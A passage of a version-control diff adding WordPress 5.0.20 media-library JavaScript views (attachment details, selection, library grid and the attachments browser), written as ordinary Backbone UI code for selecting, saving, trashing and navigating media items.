+			options = _.defaults( this.options, {
+				rerenderOnModelChange: true
+			} );
+
+		if ( options.rerenderOnModelChange ) {
+			this.listenTo( this.model, 'change', this.render );
+		} else {
+			this.listenTo( this.model, 'change:percent', this.progress );
+		}
+		this.listenTo( this.model, 'change:title', this._syncTitle );
+		this.listenTo( this.model, 'change:caption', this._syncCaption );
+		this.listenTo( this.model, 'change:artist', this._syncArtist );
+		this.listenTo( this.model, 'change:album', this._syncAlbum );
+
+		// Update the selection.
+		this.listenTo( this.model, 'add', this.select );
+		this.listenTo( this.model, 'remove', this.deselect );
+		if ( selection ) {
+			selection.on( 'reset', this.updateSelect, this );
+			// Update the model's details view.
+			this.listenTo( this.model, 'selection:single selection:unsingle', this.details );
+			this.details( this.model, this.controller.state().get('selection') );
+		}
+
+		this.listenTo( this.controller, 'attachment:compat:waiting attachment:compat:ready', this.updateSave );
+	},
+	/**
+	 * @returns {wp.media.view.Attachment} Returns itself to allow chaining
+	 */
+	dispose: function() {
+		var selection = this.options.selection;
+
+		// Make sure all settings are saved before removing the view.
+		this.updateAll();
+
+		if ( selection ) {
+			selection.off( null, null, this );
+		}
+		/**
+		 * call 'dispose' directly on the parent class
+		 */
+		View.prototype.dispose.apply( this, arguments );
+		return this;
+	},
+	/**
+	 * @returns {wp.media.view.Attachment} Returns itself to allow chaining
+	 */
+	render: function() {
+		var options = _.defaults( this.model.toJSON(), {
+				orientation:   'landscape',
+				uploading:     false,
+				type:          '',
+				subtype:       '',
+				icon:          '',
+				filename:      '',
+				caption:       '',
+				title:         '',
+				dateFormatted: '',
+				width:         '',
+				height:        '',
+				compat:        false,
+				alt:           '',
+				description:   ''
+			}, this.options );
+
+		options.buttons  = this.buttons;
+		options.describe = this.controller.state().get('describe');
+
+		if ( 'image' === options.type ) {
+			options.size = this.imageSize();
+		}
+
+		options.can = {};
+		if ( options.nonces ) {
+			options.can.remove = !! options.nonces['delete'];
+			options.can.save = !! options.nonces.update;
+		}
+
+		if ( this.controller.state().get('allowLocalEdits') ) {
+			options.allowLocalEdits = true;
+		}
+
+		if ( options.uploading && ! options.percent ) {
+			options.percent = 0;
+		}
+
+		this.views.detach();
+		this.$el.html( this.template( options ) );
+
+		this.$el.toggleClass( 'uploading', options.uploading );
+
+		if ( options.uploading ) {
+			this.$bar = this.$('.media-progress-bar div');
+		} else {
+			delete this.$bar;
+		}
+
+		// Check if the model is selected.
+		this.updateSelect();
+
+		// Update the save status.
+		this.updateSave();
+
+		this.views.render();
+
+		return this;
+	},
+
+	progress: function() {
+		if ( this.$bar && this.$bar.length ) {
+			this.$bar.width( this.model.get('percent') + '%' );
+		}
+	},
+
+	/**
+	 * @param {Object} event
+	 */
+	toggleSelectionHandler: function( event ) {
+		var method;
+
+		// Don't do anything inside inputs and on the attachment check and remove buttons.
+		if ( 'INPUT' === event.target.nodeName || 'BUTTON' === event.target.nodeName ) {
+			return;
+		}
+
+		// Catch arrow events
+		if ( 37 === event.keyCode || 38 === event.keyCode || 39 === event.keyCode || 40 === event.keyCode ) {
+			this.controller.trigger( 'attachment:keydown:arrow', event );
+			return;
+		}
+
+		// Catch enter and space events
+		if ( 'keydown' === event.type && 13 !== event.keyCode && 32 !== event.keyCode ) {
+			return;
+		}
+
+		event.preventDefault();
+
+		// In the grid view, bubble up an edit:attachment event to the controller.
+		if ( this.controller.isModeActive( 'grid' ) ) {
+			if ( this.controller.isModeActive( 'edit' ) ) {
+				// Pass the current target to restore focus when closing
+				this.controller.trigger( 'edit:attachment', this.model, event.currentTarget );
+				return;
+			}
+
+			if ( this.controller.isModeActive( 'select' ) ) {
+				method = 'toggle';
+			}
+		}
+
+		if ( event.shiftKey ) {
+			method = 'between';
+		} else if ( event.ctrlKey || event.metaKey ) {
+			method = 'toggle';
+		}
+
+		this.toggleSelection({
+			method: method
+		});
+
+		this.controller.trigger( 'selection:toggle' );
+	},
+	/**
+	 * @param {Object} options
+	 */
+	toggleSelection: function( options ) {
+		var collection = this.collection,
+			selection = this.options.selection,
+			model = this.model,
+			method = options && options.method,
+			single, models, singleIndex, modelIndex;
+
+		if ( ! selection ) {
+			return;
+		}
+
+		single = selection.single();
+		method = _.isUndefined( method ) ? selection.multiple : method;
+
+		// If the `method` is set to `between`, select all models that
+		// exist between the current and the selected model.
+		if ( 'between' === method && single && selection.multiple ) {
+			// If the models are the same, short-circuit.
+			if ( single === model ) {
+				return;
+			}
+
+			singleIndex = collection.indexOf( single );
+			modelIndex  = collection.indexOf( this.model );
+
+			if ( singleIndex < modelIndex ) {
+				models = collection.models.slice( singleIndex, modelIndex + 1 );
+			} else {
+				models = collection.models.slice( modelIndex, singleIndex + 1 );
+			}
+
+			selection.add( models );
+			selection.single( model );
+			return;
+
+		// If the `method` is set to `toggle`, just flip the selection
+		// status, regardless of whether the model is the single model.
+		} else if ( 'toggle' === method ) {
+			selection[ this.selected() ? 'remove' : 'add' ]( model );
+			selection.single( model );
+			return;
+		} else if ( 'add' === method ) {
+			selection.add( model );
+			selection.single( model );
+			return;
+		}
+
+		// Fixes bug that loses focus when selecting a featured image
+		if ( ! method ) {
+			method = 'add';
+		}
+
+		if ( method !== 'add' ) {
+			method = 'reset';
+		}
+
+		if ( this.selected() ) {
+			// If the model is the single model, remove it.
+			// If it is not the same as the single model,
+			// it now becomes the single model.
+			selection[ single === model ? 'remove' : 'single' ]( model );
+		} else {
+			// If the model is not selected, run the `method` on the
+			// selection. By default, we `reset` the selection, but the
+			// `method` can be set to `add` the model to the selection.
+			selection[ method ]( model );
+			selection.single( model );
+		}
+	},
+
+	updateSelect: function() {
+		this[ this.selected() ? 'select' : 'deselect' ]();
+	},
+	/**
+	 * @returns {unresolved|Boolean}
+	 */
+	selected: function() {
+		var selection = this.options.selection;
+		if ( selection ) {
+			return !! selection.get( this.model.cid );
+		}
+	},
+	/**
+	 * @param {Backbone.Model} model
+	 * @param {Backbone.Collection} collection
+	 */
+	select: function( model, collection ) {
+		var selection = this.options.selection,
+			controller = this.controller;
+
+		// Check if a selection exists and if it's the collection provided.
+		// If they're not the same collection, bail; we're in another
+		// selection's event loop.
+		if ( ! selection || ( collection && collection !== selection ) ) {
+			return;
+		}
+
+		// Bail if the model is already selected.
+		if ( this.$el.hasClass( 'selected' ) ) {
+			return;
+		}
+
+		// Add 'selected' class to model, set aria-checked to true.
+		this.$el.addClass( 'selected' ).attr( 'aria-checked', true );
+		//  Make the checkbox tabable, except in media grid (bulk select mode).
+		if ( ! ( controller.isModeActive( 'grid' ) && controller.isModeActive( 'select' ) ) ) {
+			this.$( '.check' ).attr( 'tabindex', '0' );
+		}
+	},
+	/**
+	 * @param {Backbone.Model} model
+	 * @param {Backbone.Collection} collection
+	 */
+	deselect: function( model, collection ) {
+		var selection = this.options.selection;
+
+		// Check if a selection exists and if it's the collection provided.
+		// If they're not the same collection, bail; we're in another
+		// selection's event loop.
+		if ( ! selection || ( collection && collection !== selection ) ) {
+			return;
+		}
+		this.$el.removeClass( 'selected' ).attr( 'aria-checked', false )
+			.find( '.check' ).attr( 'tabindex', '-1' );
+	},
+	/**
+	 * @param {Backbone.Model} model
+	 * @param {Backbone.Collection} collection
+	 */
+	details: function( model, collection ) {
+		var selection = this.options.selection,
+			details;
+
+		if ( selection !== collection ) {
+			return;
+		}
+
+		details = selection.single();
+		this.$el.toggleClass( 'details', details === this.model );
+	},
+	/**
+	 * @param {string} size
+	 * @returns {Object}
+	 */
+	imageSize: function( size ) {
+		var sizes = this.model.get('sizes'), matched = false;
+
+		size = size || 'medium';
+
+		// Use the provided image size if possible.
+		if ( sizes ) {
+			if ( sizes[ size ] ) {
+				matched = sizes[ size ];
+			} else if ( sizes.large ) {
+				matched = sizes.large;
+			} else if ( sizes.thumbnail ) {
+				matched = sizes.thumbnail;
+			} else if ( sizes.full ) {
+				matched = sizes.full;
+			}
+
+			if ( matched ) {
+				return _.clone( matched );
+			}
+		}
+
+		return {
+			url:         this.model.get('url'),
+			width:       this.model.get('width'),
+			height:      this.model.get('height'),
+			orientation: this.model.get('orientation')
+		};
+	},
+	/**
+	 * @param {Object} event
+	 */
+	updateSetting: function( event ) {
+		var $setting = $( event.target ).closest('[data-setting]'),
+			setting, value;
+
+		if ( ! $setting.length ) {
+			return;
+		}
+
+		setting = $setting.data('setting');
+		value   = event.target.value;
+
+		if ( this.model.get( setting ) !== value ) {
+			this.save( setting, value );
+		}
+	},
+
+	/**
+	 * Pass all the arguments to the model's save method.
+	 *
+	 * Records the aggregate status of all save requests and updates the
+	 * view's classes accordingly.
+	 */
+	save: function() {
+		var view = this,
+			save = this._save = this._save || { status: 'ready' },
+			request = this.model.save.apply( this.model, arguments ),
+			requests = save.requests ? $.when( request, save.requests ) : request;
+
+		// If we're waiting to remove 'Saved.', stop.
+		if ( save.savedTimer ) {
+			clearTimeout( save.savedTimer );
+		}
+
+		this.updateSave('waiting');
+		save.requests = requests;
+		requests.always( function() {
+			// If we've performed another request since this one, bail.
+			if ( save.requests !== requests ) {
+				return;
+			}
+
+			view.updateSave( requests.state() === 'resolved' ? 'complete' : 'error' );
+			save.savedTimer = setTimeout( function() {
+				view.updateSave('ready');
+				delete save.savedTimer;
+			}, 2000 );
+		});
+	},
+	/**
+	 * @param {string} status
+	 * @returns {wp.media.view.Attachment} Returns itself to allow chaining
+	 */
+	updateSave: function( status ) {
+		var save = this._save = this._save || { status: 'ready' };
+
+		if ( status && status !== save.status ) {
+			this.$el.removeClass( 'save-' + save.status );
+			save.status = status;
+		}
+
+		this.$el.addClass( 'save-' + save.status );
+		return this;
+	},
+
+	updateAll: function() {
+		var $settings = this.$('[data-setting]'),
+			model = this.model,
+			changed;
+
+		changed = _.chain( $settings ).map( function( el ) {
+			var $input = $('input, textarea, select, [value]', el ),
+				setting, value;
+
+			if ( ! $input.length ) {
+				return;
+			}
+
+			setting = $(el).data('setting');
+			value = $input.val();
+
+			// Record the value if it changed.
+			if ( model.get( setting ) !== value ) {
+				return [ setting, value ];
+			}
+		}).compact().object().value();
+
+		if ( ! _.isEmpty( changed ) ) {
+			model.save( changed );
+		}
+	},
+	/**
+	 * @param {Object} event
+	 */
+	removeFromLibrary: function( event ) {
+		// Catch enter and space events
+		if ( 'keydown' === event.type && 13 !== event.keyCode && 32 !== event.keyCode ) {
+			return;
+		}
+
+		// Stop propagation so the model isn't selected.
+		event.stopPropagation();
+
+		this.collection.remove( this.model );
+	},
+
+	/**
+	 * Add the model if it isn't in the selection, if it is in the selection,
+	 * remove it.
+	 *
+	 * @param  {[type]} event [description]
+	 * @return {[type]}       [description]
+	 */
+	checkClickHandler: function ( event ) {
+		var selection = this.options.selection;
+		if ( ! selection ) {
+			return;
+		}
+		event.stopPropagation();
+		if ( selection.where( { id: this.model.get( 'id' ) } ).length ) {
+			selection.remove( this.model );
+			// Move focus back to the attachment tile (from the check).
+			this.$el.focus();
+		} else {
+			selection.add( this.model );
+		}
+	}
+});
+
+// Ensure settings remain in sync between attachment views.
+_.each({
+	caption: '_syncCaption',
+	title:   '_syncTitle',
+	artist:  '_syncArtist',
+	album:   '_syncAlbum'
+}, function( method, setting ) {
+	/**
+	 * @function _syncCaption
+	 * @memberOf wp.media.view.Attachment
+	 * @instance
+	 *
+	 * @param {Backbone.Model} model
+	 * @param {string} value
+	 * @returns {wp.media.view.Attachment} Returns itself to allow chaining
+	 */
+	/**
+	 * @function _syncTitle
+	 * @memberOf wp.media.view.Attachment
+	 * @instance
+	 *
+	 * @param {Backbone.Model} model
+	 * @param {string} value
+	 * @returns {wp.media.view.Attachment} Returns itself to allow chaining
+	 */
+	/**
+	 * @function _syncArtist
+	 * @memberOf wp.media.view.Attachment
+	 * @instance
+	 *
+	 * @param {Backbone.Model} model
+	 * @param {string} value
+	 * @returns {wp.media.view.Attachment} Returns itself to allow chaining
+	 */
+	/**
+	 * @function _syncAlbum
+	 * @memberOf wp.media.view.Attachment
+	 * @instance
+	 *
+	 * @param {Backbone.Model} model
+	 * @param {string} value
+	 * @returns {wp.media.view.Attachment} Returns itself to allow chaining
+	 */
+	Attachment.prototype[ method ] = function( model, value ) {
+		var $setting = this.$('[data-setting="' + setting + '"]');
+
+		if ( ! $setting.length ) {
+			return this;
+		}
+
+		// If the updated value is in sync with the value in the DOM, there
+		// is no need to re-render. If we're currently editing the value,
+		// it will automatically be in sync, suppressing the re-render for
+		// the view we're editing, while updating any others.
+		if ( value === $setting.find('input, textarea, select, [value]').val() ) {
+			return this;
+		}
+
+		return this.render();
+	};
+});
+
+module.exports = Attachment;
Index: /tags/5.0.20/src/wp-includes/js/media/views/attachment/details-two-column.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/attachment/details-two-column.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/attachment/details-two-column.js	(revision 56912)
@@ -0,0 +1,51 @@
+var Details = wp.media.view.Attachment.Details,
+	TwoColumn;
+
+/**
+ * wp.media.view.Attachment.Details.TwoColumn
+ *
+ * A similar view to media.view.Attachment.Details
+ * for use in the Edit Attachment modal.
+ *
+ * @memberOf wp.media.view.Attachment.Details
+ *
+ * @class
+ * @augments wp.media.view.Attachment.Details
+ * @augments wp.media.view.Attachment
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+TwoColumn = Details.extend(/** @lends wp.media.view.Attachment.Details.TowColumn.prototype */{
+	template: wp.template( 'attachment-details-two-column' ),
+
+	initialize: function() {
+		this.controller.on( 'content:activate:edit-details', _.bind( this.editAttachment, this ) );
+
+		Details.prototype.initialize.apply( this, arguments );
+	},
+
+	editAttachment: function( event ) {
+		if ( event ) {
+			event.preventDefault();
+		}
+		this.controller.content.mode( 'edit-image' );
+	},
+
+	/**
+	 * Noop this from parent class, doesn't apply here.
+	 */
+	toggleSelectionHandler: function() {},
+
+	render: function() {
+		Details.prototype.render.apply( this, arguments );
+
+		wp.media.mixin.removeAllPlayers();
+		this.$( 'audio, video' ).each( function (i, elem) {
+			var el = wp.media.view.MediaDetails.prepareSrc( elem );
+			new window.MediaElementPlayer( el, wp.media.mixin.mejsSettings );
+		} );
+	}
+});
+
+module.exports = TwoColumn;
Index: /tags/5.0.20/src/wp-includes/js/media/views/attachment/details.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/attachment/details.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/attachment/details.js	(revision 56912)
@@ -0,0 +1,138 @@
+var Attachment = wp.media.view.Attachment,
+	l10n = wp.media.view.l10n,
+	Details;
+
+/**
+ * wp.media.view.Attachment.Details
+ *
+ * @memberOf wp.media.view.Attachment
+ *
+ * @class
+ * @augments wp.media.view.Attachment
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+Details = Attachment.extend(/** @lends wp.media.view.Attachment.Details.prototype */{
+	tagName:   'div',
+	className: 'attachment-details',
+	template:  wp.template('attachment-details'),
+
+	attributes: function() {
+		return {
+			'tabIndex':     0,
+			'data-id':      this.model.get( 'id' )
+		};
+	},
+
+	events: {
+		'change [data-setting]':          'updateSetting',
+		'change [data-setting] input':    'updateSetting',
+		'change [data-setting] select':   'updateSetting',
+		'change [data-setting] textarea': 'updateSetting',
+		'click .delete-attachment':       'deleteAttachment',
+		'click .trash-attachment':        'trashAttachment',
+		'click .untrash-attachment':      'untrashAttachment',
+		'click .edit-attachment':         'editAttachment',
+		'keydown':                        'toggleSelectionHandler'
+	},
+
+	initialize: function() {
+		this.options = _.defaults( this.options, {
+			rerenderOnModelChange: false
+		});
+
+		this.on( 'ready', this.initialFocus );
+		// Call 'initialize' directly on the parent class.
+		Attachment.prototype.initialize.apply( this, arguments );
+	},
+
+	initialFocus: function() {
+		if ( ! wp.media.isTouchDevice ) {
+			/*
+			Previously focused the first ':input' (the readonly URL text field).
+			Since the first ':input' is now a button (delete/trash): when pressing
+			spacebar on an attachment, Firefox fires deleteAttachment/trashAttachment
+			as soon as focus is moved. Explicitly target the first text field for now.
+			@todo change initial focus logic, also for accessibility.
+			*/
+			this.$( 'input[type="text"]' ).eq( 0 ).focus();
+		}
+	},
+	/**
+	 * @param {Object} event
+	 */
+	deleteAttachment: function( event ) {
+		event.preventDefault();
+
+		if ( window.confirm( l10n.warnDelete ) ) {
+			this.model.destroy();
+			// Keep focus inside media modal
+			// after image is deleted
+			this.controller.modal.focusManager.focus();
+		}
+	},
+	/**
+	 * @param {Object} event
+	 */
+	trashAttachment: function( event ) {
+		var library = this.controller.library;
+		event.preventDefault();
+
+		if ( wp.media.view.settings.mediaTrash &&
+			'edit-metadata' === this.controller.content.mode() ) {
+
+			this.model.set( 'status', 'trash' );
+			this.model.save().done( function() {
+				library._requery( true );
+			} );
+		}  else {
+			this.model.destroy();
+		}
+	},
+	/**
+	 * @param {Object} event
+	 */
+	untrashAttachment: function( event ) {
+		var library = this.controller.library;
+		event.preventDefault();
+
+		this.model.set( 'status', 'inherit' );
+		this.model.save().done( function() {
+			library._requery( true );
+		} );
+	},
+	/**
+	 * @param {Object} event
+	 */
+	editAttachment: function( event ) {
+		var editState = this.controller.states.get( 'edit-image' );
+		if ( window.imageEdit && editState ) {
+			event.preventDefault();
+
+			editState.set( 'image', this.model );
+			this.controller.setState( 'edit-image' );
+		} else {
+			this.$el.addClass('needs-refresh');
+		}
+	},
+	/**
+	 * When reverse tabbing(shift+tab) out of the right details panel, deliver
+	 * the focus to the item in the list that was being edited.
+	 *
+	 * @param {Object} event
+	 */
+	toggleSelectionHandler: function( event ) {
+		if ( 'keydown' === event.type && 9 === event.keyCode && event.shiftKey && event.target === this.$( ':tabbable' ).get( 0 ) ) {
+			this.controller.trigger( 'attachment:details:shift-tab', event );
+			return false;
+		}
+
+		if ( 37 === event.keyCode || 38 === event.keyCode || 39 === event.keyCode || 40 === event.keyCode ) {
+			this.controller.trigger( 'attachment:keydown:arrow', event );
+			return;
+		}
+	}
+});
+
+module.exports = Details;
Index: /tags/5.0.20/src/wp-includes/js/media/views/attachment/edit-library.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/attachment/edit-library.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/attachment/edit-library.js	(revision 56912)
@@ -0,0 +1,18 @@
+/**
+ * wp.media.view.Attachment.EditLibrary
+ *
+ * @memberOf wp.media.view.Attachment
+ *
+ * @class
+ * @augments wp.media.view.Attachment
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var EditLibrary = wp.media.view.Attachment.extend(/** @lends wp.media.view.Attachment.EditLibrary.prototype */{
+	buttons: {
+		close: true
+	}
+});
+
+module.exports = EditLibrary;
Index: /tags/5.0.20/src/wp-includes/js/media/views/attachment/edit-selection.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/attachment/edit-selection.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/attachment/edit-selection.js	(revision 56912)
@@ -0,0 +1,19 @@
+/**
+ * wp.media.view.Attachment.EditSelection
+ *
+ * @memberOf wp.media.view.Attachment
+ *
+ * @class
+ * @augments wp.media.view.Attachment.Selection
+ * @augments wp.media.view.Attachment
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var EditSelection = wp.media.view.Attachment.Selection.extend(/** @lends wp.media.view.Attachment.EditSelection.prototype */{
+	buttons: {
+		close: true
+	}
+});
+
+module.exports = EditSelection;
Index: /tags/5.0.20/src/wp-includes/js/media/views/attachment/library.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/attachment/library.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/attachment/library.js	(revision 56912)
@@ -0,0 +1,18 @@
+/**
+ * wp.media.view.Attachment.Library
+ *
+ * @memberOf wp.media.view.Attachment
+ *
+ * @class
+ * @augments wp.media.view.Attachment
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var Library = wp.media.view.Attachment.extend(/** @lends wp.media.view.Attachment.Library.prototype */{
+	buttons: {
+		check: true
+	}
+});
+
+module.exports = Library;
Index: /tags/5.0.20/src/wp-includes/js/media/views/attachment/selection.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/attachment/selection.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/attachment/selection.js	(revision 56912)
@@ -0,0 +1,22 @@
+/**
+ * wp.media.view.Attachment.Selection
+ *
+ * @memberOf wp.media.view.Attachment
+ *
+ * @class
+ * @augments wp.media.view.Attachment
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var Selection = wp.media.view.Attachment.extend(/** @lends wp.media.view.Attachment.Selection.prototype */{
+	className: 'attachment selection',
+
+	// On click, just select the model, instead of removing the model from
+	// the selection.
+	toggleSelection: function() {
+		this.options.selection.single( this.model );
+	}
+});
+
+module.exports = Selection;
Index: /tags/5.0.20/src/wp-includes/js/media/views/attachments.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/attachments.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/attachments.js	(revision 56912)
@@ -0,0 +1,299 @@
+var View = wp.media.View,
+	$ = jQuery,
+	Attachments;
+
+/**
+ * wp.media.view.Attachments
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+Attachments = View.extend(/** @lends wp.media.view.Attachments.prototype */{
+	tagName:   'ul',
+	className: 'attachments',
+
+	attributes: {
+		tabIndex: -1
+	},
+
+	initialize: function() {
+		this.el.id = _.uniqueId('__attachments-view-');
+
+		_.defaults( this.options, {
+			refreshSensitivity: wp.media.isTouchDevice ? 300 : 200,
+			refreshThreshold:   3,
+			AttachmentView:     wp.media.view.Attachment,
+			sortable:           false,
+			resize:             true,
+			idealColumnWidth:   $( window ).width() < 640 ? 135 : 150
+		});
+
+		this._viewsByCid = {};
+		this.$window = $( window );
+		this.resizeEvent = 'resize.media-modal-columns';
+
+		this.collection.on( 'add', function( attachment ) {
+			this.views.add( this.createAttachmentView( attachment ), {
+				at: this.collection.indexOf( attachment )
+			});
+		}, this );
+
+		this.collection.on( 'remove', function( attachment ) {
+			var view = this._viewsByCid[ attachment.cid ];
+			delete this._viewsByCid[ attachment.cid ];
+
+			if ( view ) {
+				view.remove();
+			}
+		}, this );
+
+		this.collection.on( 'reset', this.render, this );
+
+		this.listenTo( this.controller, 'library:selection:add',    this.attachmentFocus );
+
+		// Throttle the scroll handler and bind this.
+		this.scroll = _.chain( this.scroll ).bind( this ).throttle( this.options.refreshSensitivity ).value();
+
+		this.options.scrollElement = this.options.scrollElement || this.el;
+		$( this.options.scrollElement ).on( 'scroll', this.scroll );
+
+		this.initSortable();
+
+		_.bindAll( this, 'setColumns' );
+
+		if ( this.options.resize ) {
+			this.on( 'ready', this.bindEvents );
+			this.controller.on( 'open', this.setColumns );
+
+			// Call this.setColumns() after this view has been rendered in the DOM so
+			// attachments get proper width applied.
+			_.defer( this.setColumns, this );
+		}
+	},
+
+	bindEvents: function() {
+		this.$window.off( this.resizeEvent ).on( this.resizeEvent, _.debounce( this.setColumns, 50 ) );
+	},
+
+	attachmentFocus: function() {
+		this.$( 'li:first' ).focus();
+	},
+
+	restoreFocus: function() {
+		this.$( 'li.selected:first' ).focus();
+	},
+
+	arrowEvent: function( event ) {
+		var attachments = this.$el.children( 'li' ),
+			perRow = this.columns,
+			index = attachments.filter( ':focus' ).index(),
+			row = ( index + 1 ) <= perRow ? 1 : Math.ceil( ( index + 1 ) / perRow );
+
+		if ( index === -1 ) {
+			return;
+		}
+
+		// Left arrow
+		if ( 37 === event.keyCode ) {
+			if ( 0 === index ) {
+				return;
+			}
+			attachments.eq( index - 1 ).focus();
+		}
+
+		// Up arrow
+		if ( 38 === event.keyCode ) {
+			if ( 1 === row ) {
+				return;
+			}
+			attachments.eq( index - perRow ).focus();
+		}
+
+		// Right arrow
+		if ( 39 === event.keyCode ) {
+			if ( attachments.length === index ) {
+				return;
+			}
+			attachments.eq( index + 1 ).focus();
+		}
+
+		// Down arrow
+		if ( 40 === event.keyCode ) {
+			if ( Math.ceil( attachments.length / perRow ) === row ) {
+				return;
+			}
+			attachments.eq( index + perRow ).focus();
+		}
+	},
+
+	dispose: function() {
+		this.collection.props.off( null, null, this );
+		if ( this.options.resize ) {
+			this.$window.off( this.resizeEvent );
+		}
+
+		/**
+		 * call 'dispose' directly on the parent class
+		 */
+		View.prototype.dispose.apply( this, arguments );
+	},
+
+	setColumns: function() {
+		var prev = this.columns,
+			width = this.$el.width();
+
+		if ( width ) {
+			this.columns = Math.min( Math.round( width / this.options.idealColumnWidth ), 12 ) || 1;
+
+			if ( ! prev || prev !== this.columns ) {
+				this.$el.closest( '.media-frame-content' ).attr( 'data-columns', this.columns );
+			}
+		}
+	},
+
+	initSortable: function() {
+		var collection = this.collection;
+
+		if ( ! this.options.sortable || ! $.fn.sortable ) {
+			return;
+		}
+
+		this.$el.sortable( _.extend({
+			// If the `collection` has a `comparator`, disable sorting.
+			disabled: !! collection.comparator,
+
+			// Change the position of the attachment as soon as the
+			// mouse pointer overlaps a thumbnail.
+			tolerance: 'pointer',
+
+			// Record the initial `index` of the dragged model.
+			start: function( event, ui ) {
+				ui.item.data('sortableIndexStart', ui.item.index());
+			},
+
+			// Update the model's index in the collection.
+			// Do so silently, as the view is already accurate.
+			update: function( event, ui ) {
+				var model = collection.at( ui.item.data('sortableIndexStart') ),
+					comparator = collection.comparator;
+
+				// Temporarily disable the comparator to prevent `add`
+				// from re-sorting.
+				delete collection.comparator;
+
+				// Silently shift the model to its new index.
+				collection.remove( model, {
+					silent: true
+				});
+				collection.add( model, {
+					silent: true,
+					at:     ui.item.index()
+				});
+
+				// Restore the comparator.
+				collection.comparator = comparator;
+
+				// Fire the `reset` event to ensure other collections sync.
+				collection.trigger( 'reset', collection );
+
+				// If the collection is sorted by menu order,
+				// update the menu order.
+				collection.saveMenuOrder();
+			}
+		}, this.options.sortable ) );
+
+		// If the `orderby` property is changed on the `collection`,
+		// check to see if we have a `comparator`. If so, disable sorting.
+		collection.props.on( 'change:orderby', function() {
+			this.$el.sortable( 'option', 'disabled', !! collection.comparator );
+		}, this );
+
+		this.collection.props.on( 'change:orderby', this.refreshSortable, this );
+		this.refreshSortable();
+	},
+
+	refreshSortable: function() {
+		if ( ! this.options.sortable || ! $.fn.sortable ) {
+			return;
+		}
+
+		// If the `collection` has a `comparator`, disable sorting.
+		var collection = this.collection,
+			orderby = collection.props.get('orderby'),
+			enabled = 'menuOrder' === orderby || ! collection.comparator;
+
+		this.$el.sortable( 'option', 'disabled', ! enabled );
+	},
+
+	/**
+	 * @param {wp.media.model.Attachment} attachment
+	 * @returns {wp.media.View}
+	 */
+	createAttachmentView: function( attachment ) {
+		var view = new this.options.AttachmentView({
+			controller:           this.controller,
+			model:                attachment,
+			collection:           this.collection,
+			selection:            this.options.selection
+		});
+
+		return this._viewsByCid[ attachment.cid ] = view;
+	},
+
+	prepare: function() {
+		// Create all of the Attachment views, and replace
+		// the list in a single DOM operation.
+		if ( this.collection.length ) {
+			this.views.set( this.collection.map( this.createAttachmentView, this ) );
+
+		// If there are no elements, clear the views and load some.
+		} else {
+			this.views.unset();
+			this.collection.more().done( this.scroll );
+		}
+	},
+
+	ready: function() {
+		// Trigger the scroll event to check if we're within the
+		// threshold to query for additional attachments.
+		this.scroll();
+	},
+
+	scroll: function() {
+		var view = this,
+			el = this.options.scrollElement,
+			scrollTop = el.scrollTop,
+			toolbar;
+
+		// The scroll event occurs on the document, but the element
+		// that should be checked is the document body.
+		if ( el === document ) {
+			el = document.body;
+			scrollTop = $(document).scrollTop();
+		}
+
+		if ( ! $(el).is(':visible') || ! this.collection.hasMore() ) {
+			return;
+		}
+
+		toolbar = this.views.parent.toolbar;
+
+		// Show the spinner only if we are close to the bottom.
+		if ( el.scrollHeight - ( scrollTop + el.clientHeight ) < el.clientHeight / 3 ) {
+			toolbar.get('spinner').show();
+		}
+
+		if ( el.scrollHeight < scrollTop + ( el.clientHeight * this.options.refreshThreshold ) ) {
+			this.collection.more().done(function() {
+				view.scroll();
+				toolbar.get('spinner').hide();
+			});
+		}
+	}
+});
+
+module.exports = Attachments;
Index: /tags/5.0.20/src/wp-includes/js/media/views/attachments/browser.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/attachments/browser.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/attachments/browser.js	(revision 56912)
@@ -0,0 +1,476 @@
+var View = wp.media.View,
+	mediaTrash = wp.media.view.settings.mediaTrash,
+	l10n = wp.media.view.l10n,
+	$ = jQuery,
+	AttachmentsBrowser;
+
+/**
+ * wp.media.view.AttachmentsBrowser
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ *
+ * @param {object}         [options]               The options hash passed to the view.
+ * @param {boolean|string} [options.filters=false] Which filters to show in the browser's toolbar.
+ *                                                 Accepts 'uploaded' and 'all'.
+ * @param {boolean}        [options.search=true]   Whether to show the search interface in the
+ *                                                 browser's toolbar.
+ * @param {boolean}        [options.date=true]     Whether to show the date filter in the
+ *                                                 browser's toolbar.
+ * @param {boolean}        [options.display=false] Whether to show the attachments display settings
+ *                                                 view in the sidebar.
+ * @param {boolean|string} [options.sidebar=true]  Whether to create a sidebar for the browser.
+ *                                                 Accepts true, false, and 'errors'.
+ */
+AttachmentsBrowser = View.extend(/** @lends wp.media.view.AttachmentsBrowser.prototype */{
+	tagName:   'div',
+	className: 'attachments-browser',
+
+	initialize: function() {
+		_.defaults( this.options, {
